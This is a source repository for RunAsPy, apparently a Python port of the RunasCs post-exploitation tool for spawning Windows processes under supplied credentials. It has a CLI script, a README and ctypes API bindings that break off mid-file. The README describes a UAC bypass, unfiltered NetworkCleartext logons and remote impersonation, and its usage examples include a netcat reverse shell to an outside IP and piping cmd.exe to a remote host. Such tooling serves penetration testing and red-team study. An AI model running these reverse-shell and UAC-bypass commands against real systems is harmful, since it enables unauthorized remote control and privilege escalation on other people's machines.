├── RunAs.py
├── README.md
├── RunAsPy
├── windefs.py
└── __init__.py
└── LICENSE
/RunAs.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import RunAsPy
3 |
4 | parser = argparse.ArgumentParser(description="")
5 | parser.add_argument('-d', '--domain', help="", nargs="?", dest="domainName")
6 | parser.add_argument('-u', '--username', help="", nargs="?", required=True)
7 | parser.add_argument('-P', '--password', help="", nargs="?", required=True)
8 | parser.add_argument('-c', '--command', help="", nargs="*", dest="cmd", required=True)
9 | parser.add_argument('-t', '--timeout', help="", nargs="?", default=120000, dest="processTimeout", type=int)
10 | parser.add_argument('-l', '--logon-type', help="", nargs="?", default=2, dest="logonType", type=int, choices=[2, 3, 4, 5, 7, 8, 9])
11 | parser.add_argument('-f', '--function', help="", nargs="?", dest="createProcessFunction", default=RunAsPy.DefaultCreateProcessFunction(), type=int)
12 | parser.add_argument('-r', '--remote', help="", nargs="?", default=None)
13 | parser.add_argument('-p', '--force-profile', help="", action="store_true", default=False, dest="forceUserProfileCreation")
14 | parser.add_argument('-b', '--bypass-uac', help="", action="store_true", default=False, dest="bypassUac")
15 | parser.add_argument('-i', '--remote-impersonation', help="", action="store_true", default=False, dest="remoteImpersonation")
16 | parser.add_argument('-v', '--verbose', help="increase verbosity", action="store_true")
17 |
18 | args = parser.parse_args()
19 |
20 | if args.remote:
21 | args.processTimeout = 0
22 |
23 | print(RunAsPy.Runas(**args.__dict__))
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # RunAsPy
2 |
3 | A python port of [RunAsCs](https://github.com/antonioCoco/RunasCs)
4 |
5 | *RunasPy* is an utility to run specific processes with different permissions than the user's current logon provides using explicit credentials.
6 | This tool is an improved and open version of windows builtin *runas.exe* that solves some limitations:
7 |
8 | * Allows explicit credentials
9 | * Works both if spawned from interactive process and from service process
10 | * Manage properly *DACL* for *Window Stations* and *Desktop* for the creation of the new process
11 | * Uses more reliable create process functions like ``CreateProcessAsUser()`` and ``CreateProcessWithTokenW()`` if the calling process holds the required privileges (automatic detection)
12 | * Allows to specify the logon type, e.g. 8-NetworkCleartext logon (no *UAC* limitations)
13 | * Allows to bypass UAC when an administrator password is known (flag --bypass-uac)
14 | * Allows to create a process with the main thread impersonating the requested user (flag --remote-impersonation)
15 | * Allows redirecting *stdin*, *stdout* and *stderr* to a remote host
16 | * It's Open Source :)
17 |
18 | *RunasPy* has an automatic detection to determine the best create process function for every contexts.
19 | Based on the process caller token permissions, it will use one of the create process function in the following preferred order:
20 |
21 | 1. ``CreateProcessAsUserW()``
22 | 2. ``CreateProcessWithTokenW()``
23 | 3. ``CreateProcessWithLogonW()``
24 |
25 | ## Requirements
26 |
27 | ----
28 |
29 | Python >= 3.8
30 |
31 | # Usage
32 |
33 | ----
34 |
35 | ## commandline
36 |
37 | ```console
38 | usage: RunAs.py [-h] [-d [DOMAINNAME]] -u [USERNAME] -P [PASSWORD] -c [CMD ...] [-t [PROCESSTIMEOUT]]
39 | [-l [{2,3,4,5,8,9}]] [-f [CREATEPROCESSFUNCTION]] [-r [REMOTE]] [-p] [-b] [-i] [-v]
40 |
41 | options:
42 | -h, --help show this help message and exit
43 | -d [DOMAINNAME], --domain [DOMAINNAME]
44 | -u [USERNAME], --username [USERNAME]
45 | -P [PASSWORD], --password [PASSWORD]
46 | -c [CMD ...], --command [CMD ...]
47 | -t [PROCESSTIMEOUT], --timeout [PROCESSTIMEOUT]
48 | -l [{2,3,4,5,8,9}], --logon-type [{2,3,4,5,8,9}]
49 | -f [CREATEPROCESSFUNCTION], --function [CREATEPROCESSFUNCTION]
50 | -r [REMOTE], --remote [REMOTE]
51 | -p, --force-profile
52 | -b, --bypass-uac
53 | -i, --remote-impersonation
54 | -v, --verbose increase verbosity
55 | ```
56 |
57 | ### Run a command as a local user
58 |
59 | ```console
60 | Runas.py -u user1 -P password1 -c "cmd /c whoami /all"
61 | ```
62 |
63 | ### Run a command as a domain user and logon type as NetworkCleartext (8)
64 |
65 | ```console
66 | Runas.py -u user1 -P password1 -c "cmd /c whoami /all" -d domain -l 8
67 | ```
68 |
69 | ### Run a background process as a local user,
70 |
71 | ```console
72 | Runas.py -u user1 -P password1 -c "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0
73 | ```
74 |
75 | ### Redirect stdin, stdout and stderr of the specified command to a remote host
76 |
77 | ```console
78 | Runas.py -u user1 -P password1 -c cmd.exe -r 10.10.10.10:4444
79 | ```
80 |
81 | ### Run a command simulating the /netonly flag of runas.exe
82 |
83 | ```console
84 | Runas.py -u user1 -P password1 -c "cmd /c whoami /all" -l 9
85 | ```
86 |
87 | ### Run a command as an Administrator bypassing UAC
88 |
89 | ```console
90 | Runas.py -u adm1 -P password1 -c "cmd /c whoami /priv" --bypass-uac
91 | ```
92 |
93 | ### Run a command as an Administrator through remote impersonation
94 |
95 | ```console
96 | Runas.py -u adm1 -P password1 -c "cmd /c echo admin > C:\Windows\admin" -l 8 --remote-impersonation
97 | ```
98 |
99 | ## programmatic (python module)
100 |
101 | ```python
102 | import RunAsPy
103 | config = {"username": "foo", "password": "F00", "cmd": ["whoami", "/priv"], "verbose" :True, "bypassUac": True}
104 | output = RunAsPy.Runas(**config)
105 | print(output)
106 | ```
107 |
108 | The two processes (calling and called) will communicate through one *pipe* (both for *stdout* and *stderr*).
109 | The default logon type is 2 (*Interactive*).
110 |
111 | By default, the *Interactive* (2) logon type is restricted by *UAC* and the generated token from these authentications are filtered.
112 | You can make interactive logon without any restrictions by setting the following regkey to 0 and restart the server:
113 |
114 | ```
115 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
116 | ```
117 |
118 | Otherwise, you can try the flag **--bypass-uac** for an attempt in bypassing the token filtering limitation.
119 |
120 | **NetworkCleartext (8)** logon type is the one with the widest permissions as it doesn't get filtered by UAC in local tokens and still allows
121 | authentications over the Network as it stores credentials in the authentication package. If you holds enough privileges, try to always specify this logon type through the flag --logon-type 8.
122 |
123 | By default, the calling process (*RunasPy*) will wait until the end of the execution of the spawned process.
124 | If you need to spawn a background or async process, i.e. spawning a reverse shell, you need to set the parameter ``-t timeout`` to ``0``. In this case *RunasPy* won't wait for the end of the newly spawned process execution.
125 |
126 | ## Special Thanks
127 |
128 | * [antonioCoco](https://github.com/antonioCoco) - for the RunAsCs project
129 | * [natesubra](https://github.com/natesubra) - For the help with the UAC bypass
130 |
--------------------------------------------------------------------------------
/RunAsPy/windefs.py:
--------------------------------------------------------------------------------
1 | import ctypes
2 | import ctypes.wintypes
3 |
4 | UOI_NAME = 2
5 | ERROR_LOGON_TYPE_NOT_GRANTED = 1385
6 | LOGON32_LOGON_INTERACTIVE = ctypes.wintypes.DWORD(2)
7 | LOGON32_LOGON_NETWORK = ctypes.wintypes.DWORD(3)
8 | LOGON32_LOGON_BATCH = ctypes.wintypes.DWORD(4)
9 | LOGON32_LOGON_SERVICE = ctypes.wintypes.DWORD(5)
10 | LOGON32_LOGON_NETWORK_CLEARTEXT = ctypes.wintypes.DWORD(8)
11 | LOGON32_LOGON_NEW_CREDENTIALS = ctypes.wintypes.DWORD(9)
12 | LOGON_WITH_PROFILE = ctypes.c_uint32(1)
13 | DUPLICATE_SAME_ACCESS = ctypes.c_uint(0x2)
14 | LOGON32_PROVIDER_DEFAULT = ctypes.wintypes.DWORD(0)
15 | LOGON32_PROVIDER_WINNT50 = ctypes.wintypes.DWORD(3)
16 | Startf_UseStdHandles = 0x00000100
17 | BUFFER_SIZE_PIPE = 1048576
18 | READ_CONTROL = 0x00020000
19 | WRITE_DAC = 0x00040000
20 | DESKTOP_WRITEOBJECTS = 0x00000080
21 | DESKTOP_READOBJECTS = 0x00000001
22 | ERROR_INSUFFICIENT_BUFFER = 122
23 | ERROR_INVALID_FLAGS = 1004
24 | ERROR_NO_TOKEN = 1008
25 | SECURITY_DESCRIPTOR_REVISION = 1
26 | ACL_REVISION = 2
27 | MAXDWORD = 0xffffffff
28 | MAX_PATH = 260
29 | ACCESS_ALLOWED_ACE_TYPE = 0x0
30 | CONTAINER_INHERIT_ACE = 0x2
31 | INHERIT_ONLY_ACE = 0x8
32 | OBJECT_INHERIT_ACE = 0x1
33 | NO_PROPAGATE_INHERIT_ACE = 0x4
34 | LOGON_NETCREDENTIALS_ONLY = 2
35 | CREATE_NO_WINDOW = 0x08000000
36 | CREATE_SUSPENDED = 0x00000004
37 | ERROR_MORE_DATA = 234
38 | CREATE_UNICODE_ENVIRONMENT = 0x00000400
39 | PSID = ctypes.c_void_p
40 |
41 | privileges = [
42 | "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege",
43 | "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege",
44 | "SeCreateTokenPrivilege", "SeDebugPrivilege", "SeDelegateSessionUserImpersonatePrivilege", "SeEnableDelegationPrivilege",
45 | "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege",
46 | "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", "SeManageVolumePrivilege",
47 | "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege",
48 | "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege",
49 | "SeSystemProfilePrivilege", "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege",
50 | "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", "SeUndockPrivilege", "SeUnsolicitedInputPrivilege"
51 | ]
52 |
53 | kernel32 = ctypes.WinDLL("kernel32.dll")
54 | user32 = ctypes.WinDLL("User32.dll")
55 | ws2_32 = ctypes.WinDLL("ws2_32.dll")
56 | advapi32 = ctypes.WinDLL("Advapi32.dll")
57 | userenv = ctypes.WinDLL("Userenv.dll")
58 |
59 | connect = ws2_32.connect
60 | closesocket = ws2_32.closesocket
61 | WSASocket = ws2_32.WSASocketA
62 | WSAStartup = ws2_32.WSAStartup
63 | ReadFile = kernel32.ReadFile
64 | CloseHandle = kernel32.CloseHandle
65 | CreatePipe = kernel32.CreatePipe
66 | CreateProcessW = kernel32.CreateProcessW
67 | DuplicateHandle = kernel32.DuplicateHandle
68 | SetNamedPipeHandleState = kernel32.SetNamedPipeHandleState
69 | WaitForSingleObject = kernel32.WaitForSingleObject
70 | GetCurrentProcessId = kernel32.GetCurrentProcessId
71 | ProcessIdToSessionId = kernel32.ProcessIdToSessionId
72 | GetTokenInformation = advapi32.GetTokenInformation
73 | GetCurrentThread = kernel32.GetCurrentThread
74 | GetCurrentProcess = kernel32.GetCurrentProcess
75 | ResumeThread = kernel32.ResumeThread
76 | OpenProcess = kernel32.OpenProcess
77 | LogonUser = advapi32.LogonUserA
78 | GetSecurityDescriptorDacl = advapi32.GetSecurityDescriptorDacl
79 | LookupAccountName = advapi32.LookupAccountNameA
80 | GetAclInformation = advapi32.GetAclInformation
81 | InitializeSecurityDescriptor = advapi32.InitializeSecurityDescriptor
82 | GetLengthSid = advapi32.GetLengthSid
83 | InitializeAcl = advapi32.InitializeAcl
84 | GetAce = advapi32.GetAce
85 | AddAce = advapi32.AddAce
86 | CopySid = advapi32.CopySid
87 | ConvertSidToStringSid = advapi32.ConvertSidToStringSidA
88 | SetThreadToken = advapi32.SetThreadToken
89 | RevertToSelf = advapi32.RevertToSelf
90 | AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges
91 | LookupPrivilegeName = advapi32.LookupPrivilegeNameA
92 | SetSecurityInfo = advapi32.SetSecurityInfo
93 | CreateProcessWithLogonW = advapi32.CreateProcessWithLogonW
94 | ImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser
95 | AllocateAndInitializeSid = advapi32.AllocateAndInitializeSid
96 | OpenProcessToken = advapi32.OpenProcessToken
97 | GetSidSubAuthorityCount = advapi32.GetSidSubAuthorityCount
98 | GetSidSubAuthority = advapi32.GetSidSubAuthority
99 | OpenThreadToken = advapi32.OpenThreadToken
100 | DuplicateToken = advapi32.DuplicateToken
101 | DuplicateTokenEx = advapi32.DuplicateTokenEx
102 | AddAccessAllowedAce = advapi32.AddAccessAllowedAce
103 | SetSecurityDescriptorDacl = advapi32.SetSecurityDescriptorDacl
104 | SetTokenInformation = advapi32.SetTokenInformation
105 | LookupPrivilegeValue = advapi32.LookupPrivilegeValueA
106 | CreateProcessWithTokenW =advapi32.CreateProcessWithTokenW
107 | CreateProcessAsUser = advapi32.CreateProcessAsUserA
108 | GetProcessWindowStation = user32.GetProcessWindowStation
109 | GetUserObjectInformation = user32.GetUserObjectInformationA
110 | OpenWindowStation = user32.OpenWindowStationA
111 | SetProcessWindowStation = user32.SetProcessWindowStation
112 | OpenDesktop = user32.OpenDesktopA
113 | GetUserObjectSecurity = user32.GetUserObjectSecurity
114 | SetUserObjectSecurity = user32.SetUserObjectSecurity
115 | GetUserProfileDirectory = userenv.GetUserProfileDirectoryA
116 | LoadUserProfile = userenv.LoadUserProfileA
117 | CreateEnvironmentBlock = userenv.CreateEnvironmentBlock
118 | UnloadUserProfile = userenv.UnloadUserProfile
119 | DestroyEnvironmentBlock = userenv.DestroyEnvironmentBlock
120 |
121 | OpenThreadToken.restype = ctypes.c_bool
122 |
123 | class LUID(ctypes.Structure):
124 | _fields_ = [
125 | ('LowPart', ctypes.wintypes.DWORD),
126 | ('HighPart', ctypes.c_long)
127 | ]
128 |
129 | class LUID_AND_ATTRIBUTES(ctypes.Structure):
130 | _fields_ = [
131 | ('Luid', LUID),
132 | ('Attributes', ctypes.wintypes.DWORD)
133 | ]
134 |
135 | class SID_AND_ATTRIBUTES(ctypes.Structure):
136 | _fields_ = [
137 | ('Sid', PSID),
138 | ('Attributes', ctypes.wintypes.DWORD)
139 | ]
140 |
141 | class TOKEN_MANDATORY_LABEL(ctypes.Structure):
142 | _fields_ = [
143 | ('Label', SID_AND_ATTRIBUTES),
144 | ]
145 |
146 | class TOKEN_PRIVILEGES(ctypes.Structure):
147 | _fields_ = [
148 | ('PrivilegeCount', ctypes.wintypes.DWORD),
149 | ('Privileges', (LUID_AND_ATTRIBUTES * 64))
150 | ]
151 |
152 | class STARTUPINFO(ctypes.Structure):
153 | _fields_ = [
154 | ('cb', ctypes.wintypes.DWORD),
155 | ('lpReserved', ctypes.wintypes.LPWSTR),
156 | ('lpDesktop', ctypes.wintypes.LPWSTR),
157 | ('lpTitle', ctypes.wintypes.LPWSTR),
158 | ('dwX', ctypes.wintypes.DWORD),
159 | ('dwY', ctypes.wintypes.DWORD),
160 | ('dwXSize', ctypes.wintypes.DWORD),
161 | ('dwYSize', ctypes.wintypes.DWORD),
162 | ('dwXCountChars', ctypes.wintypes.DWORD),
163 | ('dwYCountChars', ctypes.wintypes.DWORD),
164 | ('dwFillAttribute', ctypes.wintypes.DWORD),
165 | ('dwFlags', ctypes.wintypes.DWORD),
166 | ('wShowWindow', ctypes.wintypes.WORD),
167 | ('cbReserved2', ctypes.wintypes.WORD),
168 | ('lpReserved2', ctypes.wintypes.LPBYTE),
169 | ('hStdInput', ctypes.wintypes.HANDLE),
170 | ('hStdOutput', ctypes.wintypes.HANDLE),
171 | ('hStdError', ctypes.wintypes.HANDLE)
172 | ]
173 |
174 | LPSTARTUPINFOW = ctypes.POINTER(STARTUPINFO)
175 |
176 | class PROCESS_INFORMATION(ctypes.Structure):
177 | _fields_ = [
178 | ("process", ctypes.wintypes.HANDLE),
179 | ("thread", ctypes.wintypes.HANDLE),
180 | ("processId", ctypes.wintypes.DWORD),
181 | ("threadId", ctypes.wintypes.DWORD)
182 | ]
183 |
184 | LPPROCESS_INFORMATION = ctypes.POINTER(PROCESS_INFORMATION)
185 |
186 | class ACL_SIZE_INFORMATION(ctypes.Structure):
187 | _fields_ = [
188 | ('AceCount', ctypes.wintypes.DWORD),
189 | ('AclBytesInUse', ctypes.wintypes.DWORD),
190 | ('AcleBytesFree', ctypes.wintypes.DWORD)
191 | ]
192 |
193 | class SID_IDENTIFIER_AUTHORITY(ctypes.Structure):
194 | _fields_ = [
195 | ('Value', (ctypes.c_byte * 6)),
196 | ]
197 |
198 | class PROFILEINFO(ctypes.Structure):
199 | _fields_ = [
200 | ('dwSize', ctypes.wintypes.DWORD),
201 | ('dwFlags', ctypes.wintypes.DWORD),
202 | ('lpUserName', ctypes.wintypes.LPSTR),
203 | ('lpProfilePath', ctypes.wintypes.LPSTR),
204 | ('lpDefaultPath', ctypes.wintypes.LPSTR),
205 | ('lpServerName', ctypes.wintypes.LPSTR),
206 | ('lpPolicyPath', ctypes.wintypes.LPSTR),
207 | ('hProfile', ctypes.c_void_p)
208 | ]
209 |
210 |
211 | class SECURITY_IMPERSONATION_LEVEL(object):
212 | SecurityAnonymous = ctypes.c_int(0)
213 | SecurityIdentification = ctypes.c_int(1)
214 | SecurityImpersonation = ctypes.c_int(2)
215 | SecurityDelegation = ctypes.c_int(3)
216 |
217 |
218 | class AddressFamily(object):
219 | XAppleTalk = ctypes.c_int(16)
220 | Atm = ctypes.c_int(22)
221 | Banyan = ctypes.c_int(21)
222 | Ccitt = ctypes.c_int(10)
223 | Chaos = ctypes.c_int(5)
224 | Cluster = ctypes.c_int(24)
225 | ControllerAreaNetwork = ctypes.c_int(65537)
226 | DataKit = ctypes.c_int(9)
227 | DataLink = ctypes.c_int(13)
228 | DecNet = ctypes.c_int(12)
229 | Ecma = ctypes.c_int(8)
230 | FireFox = ctypes.c_int(19)
231 | HyperChannel = ctypes.c_int(15)
232 | Ieee12844 = ctypes.c_int(25)
233 | ImpLink = ctypes.c_int(3)
234 | InterNetwork = ctypes.c_int(2)
235 | InterNetworkV6 = ctypes.c_int(23)
236 | Ipx = ctypes.c_int(6)
237 | Irda = ctypes.c_int(26)
238 | Iso = ctypes.c_int(7)
239 | Lat = ctypes.c_int(1)
240 | Max = ctypes.c_int(2)
241 | NetBios = ctypes.c_int(17)
242 | NetworkDesigners = ctypes.c_int(28)
243 | NS = ctypes.c_int(6)
244 | Osi = ctypes.c_int(7)
245 | Packet = ctypes.c_int(65536)
246 | Pup = ctypes.c_int(4)
247 | Sna = ctypes.c_int(11)
248 | Unix = ctypes.c_int(1)
249 | Unknown = ctypes.c_int(-1)
250 | Unspecified = ctypes.c_int()
251 | VoiceView = ctypes.c_int(1)
252 |
253 |
254 | class ProtocolType(object):
255 | Ggp = ctypes.c_int(3)
256 | Icmp = ctypes.c_int(1)
257 | IcmpV6 = ctypes.c_int(58)
258 | Idp = ctypes.c_int(22)
259 | Igmp = ctypes.c_int(2)
260 | IP = ctypes.c_int(0)
261 | IPSecAuthenticationHeader = ctypes.c_int(51)
262 | IPSecEncapsulatingSecurityPayload = ctypes.c_int(50)
263 | IPv4 = ctypes.c_int(4)
264 | IPv6 = ctypes.c_int(41)
265 | IPv6DestinationOptions = ctypes.c_int(60)
266 | IPv6FragmentHeader = ctypes.c_int(44)
267 | IPv6HopByHopOptions = ctypes.c_int(0)
268 | IPv6NoNextHeader = ctypes.c_int(59)
269 | IPv6RoutingHeader = ctypes.c_int(43)
270 | Ipx = ctypes.c_int(1000)
271 | ND = ctypes.c_int(77)
272 | Pup = ctypes.c_int(12)
273 | Raw = ctypes.c_int(255)
274 | Spx = ctypes.c_int(1256)
275 | SpxII = ctypes.c_int(1257)
276 | Tcp = ctypes.c_int(6)
277 | Udp = ctypes.c_int(17)
278 | Unknown = ctypes.c_int(-1)
279 | Unspecified = ctypes.c_int(0)
280 |
281 |
282 | class SocketType(object):
283 | Dgram = ctypes.c_int(2)
284 | Raw = ctypes.c_int(3)
285 | Rdm = ctypes.c_int(4)
286 | Seqpacket = ctypes.c_int(5)
287 | Stream = ctypes.c_int(1)
288 | Unknown = ctypes.c_int(-1)
289 |
290 |
291 | class SE_OBJECT_TYPE(object):
292 | SE_UNKNOWN_OBJECT_TYPE = ctypes.c_int(0)
293 | SE_FILE_OBJECT = ctypes.c_int(1)
294 | SE_SERVICE = ctypes.c_int(2)
295 | SE_PRINTER = ctypes.c_int(3)
296 | SE_REGISTRY_KEY = ctypes.c_int(4)
297 | SE_LMSHARE = ctypes.c_int(5)
298 | SE_KERNEL_OBJECT = ctypes.c_int(6)
299 | SE_WINDOW_OBJECT = ctypes.c_int(7)
300 | SE_DS_OBJECT = ctypes.c_int(8)
301 | SE_DS_OBJECT_ALL = ctypes.c_int(9)
302 | SE_PROVIDER_DEFINED_OBJECT = ctypes.c_int(10)
303 | SE_WMIGUID_OBJECT = ctypes.c_int(11)
304 | SE_REGISTRY_WOW64_32KEY = ctypes.c_int(12)
305 |
306 |
307 | class SECURITY_INFORMATION(object):
308 | OWNER_SECURITY_INFORMATION = ctypes.wintypes.DWORD(0x00000001)
309 | GROUP_SECURITY_INFORMATION = ctypes.wintypes.DWORD(0x00000002)
310 | DACL_SECURITY_INFORMATION = ctypes.wintypes.DWORD(0x00000004)
311 | SACL_SECURITY_INFORMATION = ctypes.wintypes.DWORD(0x00000008)
312 | UNPROTECTED_SACL_SECURITY_INFORMATION = ctypes.wintypes.DWORD(0x10000000)
313 | UNPROTECTED_DACL_SECURITY_INFORMATION = ctypes.wintypes.DWORD(0x20000000)
314 | PROTECTED_SACL_SECURITY_INFORMATION = ctypes.wintypes.DWORD(0x40000000)
315 | PROTECTED_DACL_SECURITY_INFORMATION = ctypes.wintypes.DWORD(0x80000000)
316 |
317 | class SID_NAME_USE(object):
318 | SidTypeUser = ctypes.c_int(1)
319 | SidTypeGroup = ctypes.c_int(2)
320 | SidTypeDomain = ctypes.c_int(3)
321 | SidTypeAlias = ctypes.c_int(4)
322 | SidTypeWellKnownGroup = ctypes.c_int(5)
323 | SidTypeDeletedAccount = ctypes.c_int(6)
324 | SidTypeInvalid = ctypes.c_int(7)
325 | SidTypeUnknown = ctypes.c_int(8)
326 | SidTypeComputer = ctypes.c_int(9)
327 | SidTypeLabel = ctypes.c_int(10)
328 |
329 |
330 | class TOKEN_ELEVATION(ctypes.Structure):
331 | _fields_ = [
332 | ('TokenIsElevated', ctypes.c_uint32)
333 | ]
334 |
335 |
336 | class TOKEN_ELEVATION_TYPE(ctypes.Structure):
337 | _fields_ = [
338 | ('TokenElevationType', ctypes.c_uint32)
339 | ]
340 |
341 |
342 | class ACL_INFORMATION_CLASS(object):
343 | AclRevisionInformation = ctypes.wintypes.DWORD(1)
344 | AclSizeInformation = ctypes.wintypes.DWORD(2)
345 |
346 |
347 | class TokenGroupAttributes(object):
348 | Disabled = ctypes.wintypes.DWORD(0)
349 | SE_GROUP_MANDATORY = ctypes.wintypes.DWORD(1)
350 | SE_GROUP_ENABLED_BY_DEFAULT = ctypes.wintypes.DWORD(0x2)
351 | SE_GROUP_ENABLED = ctypes.wintypes.DWORD(0x4)
352 | SE_GROUP_OWNER = ctypes.wintypes.DWORD(0x8)
353 | SE_GROUP_USE_FOR_DENY_ONLY = ctypes.wintypes.DWORD(0x10)
354 | SE_GROUP_INTEGRITY = ctypes.wintypes.DWORD(0x20)
355 | SE_GROUP_INTEGRITY_ENABLED = ctypes.wintypes.DWORD(0x40)
356 | SE_GROUP_RESOURCE = ctypes.wintypes.DWORD(0x20000000)
357 | SE_GROUP_LOGON_ID = ctypes.wintypes.DWORD(0xC0000000)
358 |
359 |
360 | class TOKEN_INFORMATION_CLASS(object):
361 | TokenUser = ctypes.c_int(1)
362 | TokenGroups = ctypes.c_int(2)
363 | TokenPrivileges = ctypes.c_int(3)
364 | TokenOwner = ctypes.c_int(4)
365 | TokenPrimaryGroup = ctypes.c_int(5)
366 | TokenDefaultDacl = ctypes.c_int(6)
367 | TokenSource = ctypes.c_int(7)
368 | TokenType = ctypes.c_int(8)
369 | TokenImpersonationLevel = ctypes.c_int(9)
370 | TokenStatistics = ctypes.c_int(10)
371 | TokenRestrictedSids = ctypes.c_int(11)
372 | TokenSessionId = ctypes.c_int(12)
373 | TokenGroupsAndPrivileges = ctypes.c_int(13)
374 | TokenSessionReference = ctypes.c_int(14)
375 | TokenSandBoxInert = ctypes.c_int(15)
376 | TokenAuditPolicy = ctypes.c_int(16)
377 | TokenOrigin = ctypes.c_int(17)
378 | TokenElevationType = ctypes.c_int(18)
379 | TokenLinkedToken = ctypes.c_int(19)
380 | TokenElevation = ctypes.c_int(20)
381 | TokenHasRestrictions = ctypes.c_int(21)
382 | TokenAccessInformation = ctypes.c_int(22)
383 | TokenVirtualizationAllowed = ctypes.c_int(23)
384 | TokenVirtualizationEnabled = ctypes.c_int(24)
385 | TokenIntegrityLevel = ctypes.c_int(25)
386 | TokenUIAccess = ctypes.c_int(26)
387 | TokenMandatoryPolicy = ctypes.c_int(27)
388 | TokenLogonSid = ctypes.c_int(28)
389 | TokenIsAppContainer = ctypes.c_int(29)
390 | TokenCapabilities = ctypes.c_int(30)
391 | TokenAppContainerSid = ctypes.c_int(31)
392 | TokenAppContainerNumber = ctypes.c_int(32)
393 | TokenUserClaimAttributes = ctypes.c_int(33)
394 | TokenDeviceClaimAttributes = ctypes.c_int(34)
395 | TokenRestrictedUserClaimAttributes = ctypes.c_int(35)
396 | TokenRestrictedDeviceClaimAttributes = ctypes.c_int(36)
397 | TokenDeviceGroups = ctypes.c_int(37)
398 | TokenRestrictedDeviceGroups = ctypes.c_int(38)
399 | TokenSecurityAttributes = ctypes.c_int(39)
400 | TokenIsRestricted = ctypes.c_int(40)
401 | TokenProcessTrustLevel = ctypes.c_int(41)
402 | TokenPrivateNameSpace = ctypes.c_int(42)
403 | TokenSingletonAttributes = ctypes.c_int(43)
404 | TokenBnoIsolation = ctypes.c_int(44)
405 | TokenChildProcessFlags = ctypes.c_int(45)
406 | TokenIsLessPrivilegedAppContainer = ctypes.c_int(46)
407 | TokenIsSandboxed = ctypes.c_int(47)
408 | TokenIsAppSilo = ctypes.c_int(48)
409 | TokenLoggingInformation = ctypes.c_int(49)
410 | MaxTokenInfoClass = ctypes.c_int(50)
411 |
412 |
413 | class SECURITY_ATTRIBUTES(ctypes.Structure):
414 | _fields_ = [
415 | ('nLength', ctypes.wintypes.DWORD),
416 | ('lpSecurityDescriptor', ctypes.wintypes.LPVOID),
417 | ('bInheritHandle', ctypes.c_bool)
418 | ]
419 |
420 |
421 | class WSADATA(ctypes.Structure):
422 | _fields_ = [
423 | ('wVersion', ctypes.c_short),
424 | ('wHighVersion', ctypes.c_short),
425 | ('iMaxSockets', ctypes.c_short),
426 | ('iMaxUdpDg', ctypes.c_short),
427 | ('lpVendorInfo', ctypes.c_void_p),
428 | ('szDescription', ctypes.POINTER(ctypes.c_char * 257)),
429 | ('szSystemStatus', ctypes.POINTER(ctypes.c_char * 129))
430 | ]
431 |
432 |
433 | class ACL(ctypes.Structure):
434 | _fields_ = [
435 | ('AclRevision', ctypes.c_byte),
436 | ('Sbz1', ctypes.c_byte),
437 | ('AclSize', ctypes.wintypes.WORD),
438 | ('AceCount', ctypes.wintypes.WORD),
439 | ('Sbz2', ctypes.wintypes.WORD)
440 | ]
441 |
442 |
443 | class SECURITY_DESCRIPTOR(ctypes.Structure):
444 | _fields_ = [
445 | ('Revision', ctypes.c_byte),
446 | ('Sbz1', ctypes.c_byte),
447 | ('Control', ctypes.wintypes.WORD),
448 | ('Owner', ctypes.c_void_p),
449 | ('Group', ctypes.c_void_p),
450 | ('Sacl', ctypes.POINTER(ACL)),
451 | ('Dacl', ctypes.POINTER(ACL))
452 | ]
453 |
454 | class ACCESS_MASK(object):
455 | DELETE = 0x00010000
456 | READ_CONTROL = 0x00020000
457 | WRITE_DAC = 0x00040000
458 | WRITE_OWNER = 0x00080000
459 | SYNCHRONIZE = 0x00100000
460 | STANDARD_RIGHTS_REQUIRED = 0x000F0000
461 | STANDARD_RIGHTS_READ = READ_CONTROL
462 | STANDARD_RIGHTS_WRITE = READ_CONTROL
463 | STANDARD_RIGHTS_EXECUTE = READ_CONTROL
464 | STANDARD_RIGHTS_ALL = 0x001F0000
465 | SPECIFIC_RIGHTS_ALL = 0x0000FFFF
466 | GENERIC_READ = 0x80000000
467 | GENERIC_WRITE = 0x40000000
468 | GENERIC_EXECUTE = 0x20000000
469 | GENERIC_ALL = 0x10000000
470 | GENERIC_ACCESS = (GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL)
471 | WINSTA_ENUMDESKTOPS = 0x00000001
472 | WINSTA_READATTRIBUTES = 0x00000002
473 | WINSTA_ACCESSCLIPBOARD = 0x00000004
474 | WINSTA_CREATEDESKTOP = 0x00000008
475 | WINSTA_WRITEATTRIBUTES = 0x00000010
476 | WINSTA_ACCESSGLOBALATOMS = 0x00000020
477 | WINSTA_EXITWINDOWS = 0x00000040
478 | WINSTA_ENUMERATE = 0x00000100
479 | WINSTA_READSCREEN = 0x00000200
480 | WINSTA_ALL = (
481 | WINSTA_ACCESSCLIPBOARD | WINSTA_ACCESSGLOBALATOMS | WINSTA_CREATEDESKTOP | WINSTA_ENUMDESKTOPS |
482 | WINSTA_ENUMERATE | WINSTA_EXITWINDOWS | WINSTA_READATTRIBUTES | WINSTA_READSCREEN |
483 | WINSTA_WRITEATTRIBUTES | DELETE | READ_CONTROL | WRITE_DAC |
484 | WRITE_OWNER
485 | )
486 | DESKTOP_READOBJECTS = 0x00000001
487 | DESKTOP_CREATEWINDOW = 0x00000002
488 | DESKTOP_CREATEMENU = 0x00000004
489 | DESKTOP_HOOKCONTROL = 0x00000008
490 | DESKTOP_JOURNALRECORD = 0x00000010
491 | DESKTOP_JOURNALPLAYBACK = 0x00000020
